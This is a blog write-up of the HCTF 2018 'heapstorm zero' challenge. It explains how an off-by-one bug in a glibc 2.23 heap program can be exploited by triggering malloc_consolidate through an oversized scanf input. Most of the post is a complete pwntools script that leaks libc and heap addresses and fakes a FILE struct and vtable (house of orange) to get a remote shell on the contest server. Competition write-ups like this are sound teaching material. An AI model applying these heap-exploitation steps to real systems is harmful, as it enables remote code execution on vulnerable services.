Yongheng Chen (Ne0)

我有功于人不可念,而过则不可不念;人有恩于我不可忘,而怨则不可不忘. -- 菜根谭

Home Writeup About GitHub Friend

Hctf 2018 heapstorm zero

10 November 2018

Hi, I am Ne0. This weekend my team Eur3kA played HCTF 2018 and won the champion for a second time! I was really proud of my teammates(We solved all the binary challenges!). As this challenge is solved by only 3 teams, I decided to write a writeup for it.

Program

The challenge can be download in my Github repo

The logic of this program is evident. You can allocate, view and delete chunks that are less or equal than size 0x40.

===== (fake) HEAP STORM ZERO =====

1. Allocate
2. View
3. Delete
4. Exit
Choice:

The version of the libc is 2.23

Vulnerability

The only bug off by one is in readn function.

Solution

It seems impossible to solve it at the first glance, because we have only fastbin chunks, and off by one just change the size to 0 , which is never a valid size.

But Wait. Why does it use scanf and a self-written getint function to get an integer from stdin? Well , it turns out that the scanf is the key to solve this challenge!

When you input a very long string to scanf , it will malloc a buffer to handle it. For example, if I input 'A'*0x500 when it is calling scanf("%d",&choice) ,it will call malloc(0x800). Well, this is a largebin chunk and it will trigger malloc_consolidate!

So the exploitation includes the following steps:

  1. make lots of freed fastbin chunks ,
  2. trigger malloc_consolidate to make larger unsortedbin chunks A.
  3. use off by one to shrink the size of the freed unsortebin chunk, this will cause its next chunk B fail to update its prev size
  4. Try to merge the B. B should be a fastbin chunk. To merge it, we just need to free it and trigger malloc_consolidate again
  5. Now you have overlapped chunks. Leak and exploit ! In my exploit script, I use house of orange to get a shell.

Exploit

from pwn import *

local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True

context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("Choice:",str(idx))

def add(size,content):
    choice(1)
    sla(":",str(size))
    sa(":",content)

def view(idx):
    choice(2)
    sla(":",str(idx))

def free(idx):
    choice(3)
    sla(":",str(idx))

if __name__ == '__main__':
    sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
    # Produce some freed chunks
    add(0x18,"AAA\n")
    for i in range(24):
        add(0x38,"A"*8+str(i)+"\n")
    free(0)
    free(4)
    free(5)
    free(6)
    free(7)
    free(8)
    free(9)

    # Trigger malloc consolidate
    sla("Choice:","1"*0x500)

    #  shrink the size
    add(0x38,"B"*0x30+p64(0x120))
    add(0x38,"C"*0x30+p32(0x40)+'\n')
    add(0x38,"P"*0x30+'\n')
    free(4)

    # merge it
    sla("Choice:","1"*0x500)
    free(10)
    sla("Choice:","1"*0x500)

    #Leak address
    add(0x38,"DDD\n")
    add(0x38,"KKK\n")
    add(0x38,"EEE\n")
    view(5)
    ru("Content: ")
    libc_addr=raddr(6)-0x3c4b78
    libc.address=libc_addr
    lg("libc addr",libc_addr)
    add(0x38,"GGG\n")
    free(10)
    free(11)
    free(5)
    view(8)
    ru("Content: ")
    heap=raddr(6)-0x2a0
    lg("heap addr",heap)

    # Fake a file struct to use house of orange
    for i in range(6):
        free(23-i)
    fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
    add(0x38,fake_struct+'\n')
    free(17)
    add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
    add(0x38,'\x00'*0x30+'\n')
    add(0x38,'\x00'*0x30+'\n')
    add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')

    # Faking vtable. Well I wrote this scipt in 30 mins, so it sucks
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x28,"DDD\n")
    add(0x28,p64(0)+p64(0x41)+"\n")
    free(6)
    add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
    add(0x28,'aa'+'\n')

    # you need to allocate one more chunk to trigger house of orange
    p.interactive()

Last

Well, if you like this writeup, please follow me on Github. And if you have any better solutions , please share it with me!